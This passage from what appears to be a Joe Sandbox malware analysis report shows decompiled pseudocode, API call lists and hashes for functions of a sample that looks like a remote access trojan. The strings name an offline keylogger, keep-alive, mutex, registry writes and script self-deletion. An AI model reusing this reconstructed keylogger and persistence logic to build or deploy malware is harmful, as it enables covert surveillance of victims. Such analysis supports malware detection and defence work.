							__eax = E0041B506(__ebx,  &_v620, __edx);
							__ecx =  &_v644;
							__eax = E00401F13( &_v644, __edx, __esi, __eax);
							goto L4;
						case 2:
							_push(L"SystemDrive");
							goto L15;
						case 3:
							_push(L"WinDir");
							goto L15;
						case 4:
							__eax = E0041BF09(__ecx);
							__eflags = __al;
							if(__eflags != 0) {
								__ecx =  &_v620;
								E0040417E(__ebx, __ecx, __edx, __ebp, L"\\SysWOW64") = E0043C01F(__ebx, __ecx, __eflags, L"WinDir");
								__ecx =  &_v600;
								__edx = __eax;
								__ecx =  &_v580;
								__eax = E00402FA5( &_v580, __edx, __eax);
								__ecx =  &_v652;
								__eax = E00401F13( &_v652, __edx, __esi, __eax);
								__ecx =  &_v584;
								__eax = E00401F09();
								__ecx =  &_v608;
								__eax = E00401F09();
								L4:
								__ecx =  &_v620;
								goto L5;
							} else {
								__ecx =  &_v572;
								E0040417E(__ebx, __ecx, __edx, __ebp, L"\\system32") = E0043C01F(__ebx, __ecx, __eflags, L"WinDir");
								__ecx =  &_v600;
								__edx = __eax;
								__ecx =  &_v628;
								__eax = E00402FA5( &_v628, __edx, __eax);
								__ecx =  &_v652;
								__eax = E00401F13( &_v652, __edx, __esi, __eax);
								__ecx =  &_v632;
								__eax = E00401F09();
								__ecx =  &_v608;
								__eax = E00401F09();
								__ecx =  &_v584;
								L5:
								__eax = E00401F09();
								goto L17;
							}
							L18:
						case 5:
							L14:
							_push(L"ProgramFiles");
							goto L15;
						case 6:
							_push(L"AppData");
							goto L15;
						case 7:
							_push(L"UserProfile");
							L15:
							_t51 = E0043C01F(_t54, _t57, _t86);
							goto L16;
						case 8:
							__eflags = E0043C01F(__ebx, __ecx, __eflags, L"ProgramData");
							if(__eflags == 0) {
								goto L14;
							}
							L16:
							L00409057(_t54,  &_v644, _t73, _t51);
							goto L17;
					}
				}
				L17:
				__imp__GetLongPathNameW(E00401F04( &_v644),  &_v524, 0x208); // executed
				_t39 = E0040417E(_t54,  &_v560, _t73, _t82, _a4);
				_t40 = E0040417E(_t54,  &_v636, _t73, _t82, "\\");
				E00402FA5(_t77, E00402FA5( &_v600, E0040DD1F(_t54,  &_v616, _t73, _t82, _t86,  &_v544, _t38), _t40), _t39);
				E00401F09();
				E00401F09();
				E00401F09();
				E00401F09();
				E00401F09();
				return _t77;
				goto L18;
			}





























                                    0x0040d982
                                    0x0040d991
                                    0x0040d993
                                    0x0040d999
                                    0x0040d9a1
                                    0x0040d9a4
                                    0x0040d9a7
                                    0x0040d9ad
                                    0x00000000
                                    0x0040d9b4
                                    0x00000000
                                    0x00000000
                                    0x0040d9be
                                    0x0040d9c2
                                    0x0040d9c8
                                    0x0040d9cc
                                    0x00000000
                                    0x00000000
                                    0x0040d9df
                                    0x00000000
                                    0x00000000
                                    0x0040d9e9
                                    0x00000000
                                    0x00000000
                                    0x0040d9f3
                                    0x0040d9f8
                                    0x0040d9fa
                                    0x0040da53
                                    0x0040da62
                                    0x0040da69
                                    0x0040da72
                                    0x0040da74
                                    0x0040da78
                                    0x0040da7f
                                    0x0040da83
                                    0x0040da88
                                    0x0040da8c
                                    0x0040da91
                                    0x0040da95
                                    0x0040d9d1
                                    0x0040d9d1
                                    0x00000000
                                    0x0040d9fc
                                    0x0040da01
                                    0x0040da10
                                    0x0040da17
                                    0x0040da20
                                    0x0040da22
                                    0x0040da26
                                    0x0040da2d
                                    0x0040da31
                                    0x0040da36
                                    0x0040da3a
                                    0x0040da3f
                                    0x0040da43
                                    0x0040da48
                                    0x0040d9d5
                                    0x0040d9d5
                                    0x00000000
                                    0x0040d9d5
                                    0x00000000
                                    0x00000000
                                    0x0040dabc
                                    0x0040dabc
                                    0x00000000
                                    0x00000000
                                    0x0040da9f
                                    0x00000000
                                    0x00000000
                                    0x0040daa6
                                    0x0040dac1
                                    0x0040dac1
                                    0x00000000
                                    0x00000000
                                    0x0040dab8
                                    0x0040daba
                                    0x00000000
                                    0x00000000
                                    0x0040dac7
                                    0x0040dacc
                                    0x00000000
                                    0x00000000
                                    0x0040d9ad
                                    0x0040dad1
                                    0x0040dae8
                                    0x0040daf7
                                    0x0040db06
                                    0x0040db2e
                                    0x0040db38
                                    0x0040db41
                                    0x0040db4a
                                    0x0040db53
                                    0x0040db5c
                                    0x0040db69
                                    0x00000000

                                    APIs
                                    • GetLongPathNameW.KERNEL32(00000000,?,00000208), ref: 0040DAE8
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: LongNamePath
                                    • String ID: AppData$ProgramData$ProgramFiles$SystemDrive$Temp$UserProfile$WinDir$\SysWOW64$\system32
                                    • API String ID: 82841172-425784914
                                    • Opcode ID: 8c0a058c52715d276ca4ccb8576362e925fb9525c12a9b3fcf9e869bb8cb4d94
                                    • Instruction ID: 8a99b967d1bb9cacafef7bd57019f36eb55ef31a1b5a097d9ec72f92c3b418a5
                                    • Opcode Fuzzy Hash: 8c0a058c52715d276ca4ccb8576362e925fb9525c12a9b3fcf9e869bb8cb4d94
                                    • Instruction Fuzzy Hash: 744141716082019AC215FB61DC968AFB3A8AED4758F10053FB146B20E2FF789D49CA5B
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 0041C343 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 67fileCOMMON
                                    Download Yara Rule

                                    Control-flow Graph

                                    • Executed
                                    • Not Executed
                                    control_flow_graph 1277 41c343-41c354 1278 41c356-41c359 1277->1278 1279 41c36c-41c373 1277->1279 1280 41c362-41c36a 1278->1280 1281 41c35b-41c360 1278->1281 1282 41c374-41c38d CreateFileW 1279->1282 1280->1282 1281->1282 1283 41c393-41c398 1282->1283 1284 41c38f-41c391 1282->1284 1285 41c3b3-41c3c4 WriteFile 1283->1285 1286 41c39a-41c3a8 SetFilePointer 1283->1286 1287 41c3d1-41c3d6 1284->1287 1289 41c3c6 1285->1289 1290 41c3c8-41c3cf FindCloseChangeNotification 1285->1290 1286->1285 1288 41c3aa-41c3b1 CloseHandle 1286->1288 1288->1284 1289->1290 1290->1287
                                    C-Code - Quality: 100%
                                    			E0041C343(long __edx, WCHAR* _a4, long _a8) {
				long _v4;
				intOrPtr _t8;
				long _t9;
				void* _t10;
				int _t12;
				long _t15;
				long _t19;
				void* _t20;
				long _t21;
				long _t23;
				void* _t24;
				void* _t25;

				_t1 =  &_a8; // 0x467068
				_t19 = 0;
				_t25 = _t20;
				_t23 = __edx;
				_t8 =  *_t1;
				if(_t8 == 0) {
					_t9 = 0x40000000;
					_t21 = 2;
				} else {
					if(_t8 != 1) {
						_t9 = _a8;
						_t21 = _a8;
					} else {
						_t9 = 4;
						_t21 = _t9;
					}
				}
				_t10 = CreateFileW(_a4, _t9, _t19, _t19, _t21, 0x80, _t19); // executed
				_t24 = _t10;
				if(_t24 != 0xffffffff) {
					if(_a8 != 1) {
						L10:
						_t12 = WriteFile(_t24, _t25, _t23,  &_v4, _t19); // executed
						if(_t12 != 0) {
							_t19 = 1;
						}
						FindCloseChangeNotification(_t24); // executed
						return _t19;
					}
					_t15 = SetFilePointer(_t24, _t19, _t19, 2); // executed
					if(_t15 != 0xffffffff) {
						goto L10;
					}
					CloseHandle(_t24);
					goto L6;
				} else {
					L6:
					return 0;
				}
			}















                                    0x0041c344
                                    0x0041c34b
                                    0x0041c34d
                                    0x0041c350
                                    0x0041c352
                                    0x0041c354
                                    0x0041c36e
                                    0x0041c373
                                    0x0041c356
                                    0x0041c359
                                    0x0041c362
                                    0x0041c366
                                    0x0041c35b
                                    0x0041c35d
                                    0x0041c35e
                                    0x0041c35e
                                    0x0041c359
                                    0x0041c382
                                    0x0041c388
                                    0x0041c38d
                                    0x0041c398
                                    0x0041c3b3
                                    0x0041c3bc
                                    0x0041c3c4
                                    0x0041c3c6
                                    0x0041c3c6
                                    0x0041c3c9
                                    0x00000000
                                    0x0041c3cf
                                    0x0041c39f
                                    0x0041c3a8
                                    0x00000000
                                    0x00000000
                                    0x0041c3ab
                                    0x00000000
                                    0x0041c38f
                                    0x0041c38f
                                    0x00000000
                                    0x0041c38f

                                    APIs
                                    • CreateFileW.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000080,00000000,00000000,00000000,00466468,00000000,00000000,0040D347,00000000,00000000,fso.DeleteFile(Wscript.ScriptFullName)), ref: 0041C382
                                    • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 0041C39F
                                    • CloseHandle.KERNEL32(00000000), ref: 0041C3AB
                                    • WriteFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 0041C3BC
                                    • FindCloseChangeNotification.KERNEL32(00000000), ref: 0041C3C9
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: File$Close$ChangeCreateFindHandleNotificationPointerWrite
                                    • String ID: hpF
                                    • API String ID: 1087594267-151379673
                                    • Opcode ID: c16bf2a5e476d7eb9c065cb57b6c83635d373e8a2041914a8f43a70e8d32cf2e
                                    • Instruction ID: ece579f330d6347d16e5483df827c8245e1b3efd84cfaeece0a19d113701dddd
                                    • Opcode Fuzzy Hash: c16bf2a5e476d7eb9c065cb57b6c83635d373e8a2041914a8f43a70e8d32cf2e
                                    • Instruction Fuzzy Hash: 7511E571284218FFE6104A24ACC8EFB739CEB46765F10862BFD61C22D1C6299D418639
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 0041B215 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 61COMMON
                                    Download Yara Rule

                                    Control-flow Graph

                                    • Executed
                                    • Not Executed
                                    control_flow_graph 1291 41b215-41b26c call 41bf09 call 4134f4 call 401fe2 call 401fd8 call 406ae1 1302 41b2af-41b2b8 1291->1302 1303 41b26e-41b27d call 4134f4 1291->1303 1305 41b2c1 1302->1305 1306 41b2ba-41b2bf 1302->1306 1307 41b282-41b299 call 401fab StrToIntA 1303->1307 1308 41b2c6-41b2d1 call 40537d 1305->1308 1306->1308 1313 41b2a7-41b2aa call 401fd8 1307->1313 1314 41b29b-41b2a4 call 41cebb 1307->1314 1313->1302 1314->1313
                                    C-Code - Quality: 74%
                                    			E0041B215(void* __ecx, void* __eflags) {
				char _v28;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				char _t7;
				void* _t8;
				int _t15;
				void* _t25;
				void* _t31;
				void* _t32;
				void* _t33;

				_t7 = E0041BF09(__ecx);
				_push(__ecx);
				_t19 = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion";
				 *0x474af4 = _t7;
				_t29 = 0x80000002;
				_t8 = E004134F4( &_v28, 0x80000002, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", "ProductName"); // executed
				E00401FE2(0x475a00, 0x80000002, _t31, _t8);
				E00401FD8();
				_t32 = E00406AE1(0x475a00, "10", 0);
				if(_t32 != 0xffffffff) {
					_push(0x475a00);
					_t29 = 0x80000002;
					E004134F4( &_v28, 0x80000002, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", "CurrentBuildNumber"); // executed
					_t15 = StrToIntA(E00401FAB( &_v28));
					_t39 = _t15 - 0x55f0;
					if(_t15 >= 0x55f0) {
						_t5 = _t32 + 1; // 0x1
						 *((char*)(E0041CEBB(0x80000002, _t33, _t39, _t5))) = 0x31;
					}
					E00401FD8();
				}
				_t25 = 0x475a00;
				if( *0x474af4 == 0) {
					_push(" (32 bit)");
				} else {
					_push(" (64 bit)");
				}
				return L0040537D(_t19, _t25, _t29, 0x475a00, _t33);
			}















                                    0x0041b21e
                                    0x0041b223
                                    0x0041b229
                                    0x0041b22e
                                    0x0041b234
                                    0x0041b23c
                                    0x0041b24c
                                    0x0041b254
                                    0x0041b267
                                    0x0041b26c
                                    0x0041b26e
                                    0x0041b275
                                    0x0041b27d
                                    0x0041b28e
                                    0x0041b294
                                    0x0041b299
                                    0x0041b29b
                                    0x0041b2a4
                                    0x0041b2a4
                                    0x0041b2aa
                                    0x0041b2aa
                                    0x0041b2b6
                                    0x0041b2b8
                                    0x0041b2c1
                                    0x0041b2ba
                                    0x0041b2ba
                                    0x0041b2ba
                                    0x0041b2d1

                                    APIs
                                      • Part of subcall function 0041BF09: GetCurrentProcess.KERNEL32(?,?,?,0040D9F8,WinDir,00000000,00000000), ref: 0041BF1A
                                      • Part of subcall function 004134F4: RegOpenKeyExA.KERNEL32(80000001,00000400,00000000,00020019,?), ref: 00413518
                                      • Part of subcall function 004134F4: RegQueryValueExA.KERNEL32(?,?,00000000,00000000,?,00000400), ref: 00413535
                                      • Part of subcall function 004134F4: RegCloseKey.KERNEL32(?), ref: 00413540
                                    • StrToIntA.SHLWAPI(00000000,0046C9F8,00000000,00000000,00000000,004750E4,00000003,Exe,00000000,0000000E,00000000,004660BC,00000003,00000000), ref: 0041B28E
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: CloseCurrentOpenProcessQueryValue
                                    • String ID: (32 bit)$ (64 bit)$CurrentBuildNumber$ProductName$SOFTWARE\Microsoft\Windows NT\CurrentVersion
                                    • API String ID: 1866151309-2070987746
                                    • Opcode ID: 8682fc8ce8682d3752cebb0e0f51798708d08e9abf2ff6235295df0094cced24
                                    • Instruction ID: e056181b9eb41715c35e2af3b087fba44d26bcba8b2e4e29912e3db65c51cf6a
                                    • Opcode Fuzzy Hash: 8682fc8ce8682d3752cebb0e0f51798708d08e9abf2ff6235295df0094cced24
                                    • Instruction Fuzzy Hash: C011E370A4020516C714B76A8C8BEBF76598B91304F54013FF546B22E2FB7C598A83EE
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 0040A179 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 70threadCOMMON
                                    Download Yara Rule

                                    Control-flow Graph

                                    C-Code - Quality: 85%
                                    			E0040A179(void* __ecx, char* __edx, char _a4) {
				char _v28;
				char _v32;
				void* _v56;
				void* __ebx;
				void* __edi;
				void* __ebp;
				void* _t22;
				void* _t40;
				void* _t42;
				signed int _t43;
				void* _t45;

				_t34 = __edx;
				_t45 = (_t43 & 0xfffffff8) - 0x1c;
				_push(_t22);
				_t40 = __ecx;
				 *((char*)(__ecx + 0x49)) = 1;
				E0040B83A(__ecx + 0x68,  &_a4);
				_t49 =  *((intOrPtr*)(__ecx + 0x4c)) - 2;
				_t36 = "Offline Keylogger Started";
				if( *((intOrPtr*)(__ecx + 0x4c)) != 2) {
					E00402093(_t22,  &_v28, __edx, _t42, "Offline Keylogger Started");
					_t45 = _t45 - 0x18;
					_t34 =  &_v32;
					E0041BBB0(_t45,  &_v32);
					E0040B0B2(_t22, _t40, _t49);
					E00401FD8();
				}
				_t46 = _t45 - 0x18;
				E00402093(_t22, _t45 - 0x18, _t34, _t42, _t36);
				E00402093(_t22, _t46 - 0x18, _t34, _t42, "i");
				E0041B441(_t22, _t36);
				CreateThread(0, 0, E0040A27D, _t40, 0, 0); // executed
				if( *_t40 == 0) {
					CreateThread(0, 0, E0040A267, _t40, 0, 0); // executed
				}
				CreateThread(0, 0, E0040A289, _t40, 0, 0); // executed
				return E00401F09();
			}














                                    0x0040a179
                                    0x0040a17f
                                    0x0040a185
                                    0x0040a187
                                    0x0040a18e
                                    0x0040a192
                                    0x0040a197
                                    0x0040a19b
                                    0x0040a1a0
                                    0x0040a1a7
                                    0x0040a1ac
                                    0x0040a1af
                                    0x0040a1b5
                                    0x0040a1bc
                                    0x0040a1c5
                                    0x0040a1c5
                                    0x0040a1ca
                                    0x0040a1d0
                                    0x0040a1df
                                    0x0040a1e4
                                    0x0040a1fe
                                    0x0040a202
                                    0x0040a20e
                                    0x0040a20e
                                    0x0040a21a
                                    0x0040a22a

                                    APIs
                                    • CreateThread.KERNEL32 ref: 0040A1FE
                                    • CreateThread.KERNEL32 ref: 0040A20E
                                    • CreateThread.KERNEL32 ref: 0040A21A
                                      • Part of subcall function 0040B0B2: GetLocalTime.KERNEL32(?,?,00000000), ref: 0040B0C0
                                      • Part of subcall function 0040B0B2: wsprintfW.USER32 ref: 0040B141
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: CreateThread$LocalTimewsprintf
                                    • String ID: Offline Keylogger Started$Cgt
                                    • API String ID: 465354869-341567108
                                    • Opcode ID: e83635d8cc5e1fa864e554b041add53650be28451eada1e59680805f80053f58
                                    • Instruction ID: 0184f22d4cdef524acee3008e0608d038b50a1467d81832806e535873cba951d
                                    • Opcode Fuzzy Hash: e83635d8cc5e1fa864e554b041add53650be28451eada1e59680805f80053f58
                                    • Instruction Fuzzy Hash: BD1194B12003187AD220B7369C86DBF7A5CDA8139CB40057FF946226D2EA795D54CAFB
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 00404F51 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 58timethreadCOMMON
                                    Download Yara Rule

                                    Control-flow Graph

                                    • Executed
                                    • Not Executed
                                    control_flow_graph 1387 404f51-404f5f 1388 404f65-404f6c 1387->1388 1389 404fea 1387->1389 1390 404f74-404f7b 1388->1390 1391 404f6e-404f72 1388->1391 1392 404fec-404ff1 1389->1392 1393 404fc0-404fdd CreateEventA 1390->1393 1394 404f7d-404fbb GetLocalTime call 41bae0 call 4052fd call 402093 call 41b441 call 401fd8 1390->1394 1391->1393 1397 404fe6-404fe8 1393->1397 1394->1393 1397->1392
                                    C-Code - Quality: 91%
                                    			E00404F51(void* __ecx, intOrPtr _a4, char _a8) {
				struct _SYSTEMTIME _v20;
				char _v44;
				void* __edi;
				void* __ebp;
				void* _t16;
				void* _t21;
				intOrPtr _t29;
				void* _t31;
				void* _t32;
				void* _t33;

				_t31 = __ecx;
				if( *((char*)(__ecx + 0x5c)) != 0) {
					__eflags = 0;
					return 0;
				}
				_t29 = _a4;
				if(_a8 != 0) {
					__eflags =  *0x472d48;
					if( *0x472d48 != 0) {
						GetLocalTime( &_v20);
						_t16 = E0041BAE0(_t21,  &_v44, _t29);
						_t34 = _t33 - 0x18;
						E004052FD(_t21, _t33 - 0x18, "KeepAlive             | Enabled | Timeout: ", _t32, __eflags, _t16);
						E00402093(_t21, _t34 - 0x14, "KeepAlive             | Enabled | Timeout: ", _t32, "i");
						E0041B441(_t21, _t29);
						E00401FD8();
					}
				} else {
					 *((char*)(__ecx + 0x7c)) = 1;
				}
				 *((intOrPtr*)(_t31 + 0x74)) = _t29;
				 *((char*)(_t31 + 0x5c)) = 1;
				 *((intOrPtr*)(_t31 + 0x60)) = CreateEventA(0, 0, 0, 0);
				CreateThread(0, 0, E00405150, _t31, 0, 0); // executed
				return 1;
			}













                                    0x00404f58
                                    0x00404f5f
                                    0x00404fea
                                    0x00000000
                                    0x00404fea
                                    0x00404f69
                                    0x00404f6c
                                    0x00404f74
                                    0x00404f7b
                                    0x00404f81
                                    0x00404f8c
                                    0x00404f91
                                    0x00404f9c
                                    0x00404fab
                                    0x00404fb0
                                    0x00404fbb
                                    0x00404fbb
                                    0x00404f6e
                                    0x00404f6e
                                    0x00404f6e
                                    0x00404fc0
                                    0x00404fc9
                                    0x00404fdd
                                    0x00404fe0
                                    0x00000000

                                    APIs
                                    • GetLocalTime.KERNEL32(?), ref: 00404F81
                                    • CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00404FCD
                                    • CreateThread.KERNEL32 ref: 00404FE0
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Create$EventLocalThreadTime
                                    • String ID: KeepAlive | Enabled | Timeout: $Cgt
                                    • API String ID: 2532271599-2061697547
                                    • Opcode ID: f933aad73066f6cd081b1971bdd82cd94ca9541da951a157cef58ce4878b3f10
                                    • Instruction ID: e350089ce6212c508febe0881cb2b692ac97095e382178170da4b51c07527da6
                                    • Opcode Fuzzy Hash: f933aad73066f6cd081b1971bdd82cd94ca9541da951a157cef58ce4878b3f10
                                    • Instruction Fuzzy Hash: 8C110671900385AAC720A7778C0DEAB7FACDBD2714F04046FF54163291DAB89445CBBA
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 004136BD Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 38registryCOMMON
                                    Download Yara Rule

                                    Control-flow Graph

                                    • Executed
                                    • Not Executed
                                    control_flow_graph 1405 4136bd-4136d4 RegCreateKeyA 1406 4136d6-41370b call 40247c call 401fab RegSetValueExA RegCloseKey 1405->1406 1407 41370d 1405->1407 1408 41370f-41371d call 401fd8 1406->1408 1407->1408
                                    C-Code - Quality: 77%
                                    			E004136BD(void* __ecx, char* __edx, char* _a4, char _a8, int _a32) {
				void* _v8;
				long _t12;
				int _t15;
				long _t17;
				signed int _t19;
				signed int _t20;

				_push(__ecx);
				_push(_t19);
				_t12 = RegCreateKeyA(0x80000001, __edx,  &_v8); // executed
				if(_t12 != 0) {
					_t20 = 0;
				} else {
					_t15 = E0040247C();
					_t17 = RegSetValueExA(_v8, _a4, 0, _a32, E00401FAB( &_a8), _t15); // executed
					RegCloseKey(_v8); // executed
					_t20 = _t19 & 0xffffff00 | _t17 == 0x00000000;
				}
				E00401FD8();
				return _t20;
			}









                                    0x004136c0
                                    0x004136c1
                                    0x004136cc
                                    0x004136d4
                                    0x0041370d
                                    0x004136d6
                                    0x004136da
                                    0x004136f4
                                    0x004136ff
                                    0x00413708
                                    0x00413708
                                    0x00413712
                                    0x0041371d

                                    APIs
                                    • RegCreateKeyA.ADVAPI32(80000001,00000000,?), ref: 004136CC
                                    • RegSetValueExA.KERNEL32(?,004674B8,00000000,?,00000000,00000000,004752F0,?,?,0040F7A1,004674B8,4.9.1 Pro), ref: 004136F4
                                    • RegCloseKey.KERNEL32(?,?,?,0040F7A1,004674B8,4.9.1 Pro), ref: 004136FF
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: CloseCreateValue
                                    • String ID: pth_unenc
                                    • API String ID: 1818849710-4028850238
                                    • Opcode ID: d2452ca4d31f1bc2d335d9517c07aada4cb8e7d7f2fca076d71ba60cf751f67f
                                    • Instruction ID: cc028357d89538f4ae3fadff7a052b61de77b90b6085a72f54274e8bffa45260
                                    • Opcode Fuzzy Hash: d2452ca4d31f1bc2d335d9517c07aada4cb8e7d7f2fca076d71ba60cf751f67f
                                    • Instruction Fuzzy Hash: 51F06272400218FBCB009FA1DC45DEE3B6CEF05751F108566FD09A61A1D7359E14DA94
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 0040CFB7 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13synchronizationCOMMON
                                    Download Yara Rule

                                    Control-flow Graph

                                    • Executed
                                    • Not Executed
                                    control_flow_graph 1415 40cfb7-40cfe3 call 401fab CreateMutexA GetLastError
                                    C-Code - Quality: 100%
                                    			E0040CFB7() {
				void* _t4;

				_t4 = CreateMutexA(0, 1, E00401FAB(0x475320)); // executed
				 *0x472d44 = _t4;
				return 0 | GetLastError() != 0x000000b7;
			}




                                    0x0040cfc6
                                    0x0040cfcc
                                    0x0040cfe3

                                    APIs
                                    • CreateMutexA.KERNEL32(00000000,00000001,00000000,0040EB56,0000000D,00000033,00000000,00000032,00000000,Exe,00000000,0000000E,00000000,004660BC,00000003,00000000), ref: 0040CFC6
                                    • GetLastError.KERNEL32 ref: 0040CFD1
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: CreateErrorLastMutex
                                    • String ID: SG
                                    • API String ID: 1925916568-3189917014
                                    • Opcode ID: 39599091def79051ab742ff046aa9e12e6026389991bc8d246940820909dc324
                                    • Instruction ID: 95155ffd2f5cf2c34283977deb482d2843c3ccfb5002447f486bda260673b364
                                    • Opcode Fuzzy Hash: 39599091def79051ab742ff046aa9e12e6026389991bc8d246940820909dc324
                                    • Instruction Fuzzy Hash: 18D012B0604701EBD7181770ED5975839959744702F40487AB50BD99F1CBAC88908519
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 004134F4 Relevance: 4.5, APIs: 3, Instructions: 44registryCOMMON
                                    Download Yara Rule
                                    C-Code - Quality: 84%
                                    			E004134F4(void* __ecx, void* __edx, char* _a4, char* _a8) {
				void* _v8;
				int _v12;
				char _v1036;
				void* __ebp;
				long _t11;
				long _t16;
				void* _t19;
				void* _t21;
				void* _t23;
				void* _t26;

				_t22 = __edx;
				_v12 = 0x400;
				_t23 = __ecx;
				_t11 = RegOpenKeyExA(__edx, _a4, 0, 0x20019,  &_v8); // executed
				if(_t11 != 0) {
					_t21 = _t23;
					goto L4;
				} else {
					_t16 = RegQueryValueExA(_v8, _a8, 0, 0,  &_v1036,  &_v12); // executed
					RegCloseKey(_v8); // executed
					_t21 = _t23;
					if(_t16 != 0) {
						L4:
						_push(0x4660a4);
					} else {
						_push( &_v1036);
					}
				}
				E00402093(_t19, _t21, _t22, _t26);
				return _t23;
			}













                                    0x004134f4
                                    0x00413502
                                    0x00413511
                                    0x00413518
                                    0x00413520
                                    0x00413555
                                    0x00000000
                                    0x00413522
                                    0x00413535
                                    0x00413540
                                    0x00413546
                                    0x0041354a
                                    0x00413557
                                    0x00413557
                                    0x0041354c
                                    0x00413552
                                    0x00413552
                                    0x0041354a
                                    0x0041355c
                                    0x00413568

                                    APIs
                                    • RegOpenKeyExA.KERNEL32(80000001,00000400,00000000,00020019,?), ref: 00413518
                                    • RegQueryValueExA.KERNEL32(?,?,00000000,00000000,?,00000400), ref: 00413535
                                    • RegCloseKey.KERNEL32(?), ref: 00413540
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: CloseOpenQueryValue
                                    • String ID:
                                    • API String ID: 3677997916-0
                                    • Opcode ID: 047bda59581c7e78827521e08e68fdf793dfebd6250409dd5ae19ad748ced965
                                    • Instruction ID: 11ad58ed07fa4a0a265b1ef9ab622cf9d1d79dbf7f3678ccb4777a53df69ef08
                                    • Opcode Fuzzy Hash: 047bda59581c7e78827521e08e68fdf793dfebd6250409dd5ae19ad748ced965
                                    • Instruction Fuzzy Hash: FF01D676900228FBCF209B95DC08DEF7F7DDB44B51F000166BB09E2140DA749E45DBA8
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 00413646 Relevance: 4.5, APIs: 3, Instructions: 42registryCOMMON
                                    Download Yara Rule
                                    C-Code - Quality: 100%
                                    			E00413646(char* __edx, char* _a4, char* _a8, int _a12, intOrPtr _a16, intOrPtr _a20) {
				void* _v12;
				char _v1040;
				long _t14;
				long _t17;

				_t14 = RegOpenKeyExA(0x80000001, __edx, 0, 0x20019,  &_v12); // executed
				if(_t14 != 0) {
					L3:
					return 0;
				}
				_t17 = RegQueryValueExA(_v12, _a4, 0, 0, _a8,  &_a12); // executed
				RegCloseKey(_v12); // executed
				if(_t17 != 0) {
					goto L3;
				}
				E00406CB7( &_v1040, _a16, _a20);
				E00406D3C( &_v1040, _a8, _a12);
				return 1;
			}







                                    0x00413662
                                    0x0041366a
                                    0x004136b6
                                    0x00000000
                                    0x004136b6
                                    0x0041367b
                                    0x00413686
                                    0x0041368e
                                    0x00000000
                                    0x00000000
                                    0x0041369c
                                    0x004136ad
                                    0x00000000

                                    APIs
                                    • RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,00000000,004752F0), ref: 00413662
                                    • RegQueryValueExA.KERNEL32(00000000,00000000,00000000,00000000,00000208,?), ref: 0041367B
                                    • RegCloseKey.KERNEL32(00000000), ref: 00413686
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: CloseOpenQueryValue
                                    • String ID:
                                    • API String ID: 3677997916-0
                                    • Opcode ID: 98426144924e105c68d43f2c638da1a3b8ba285331bfbd987b3b1c2d06b55679
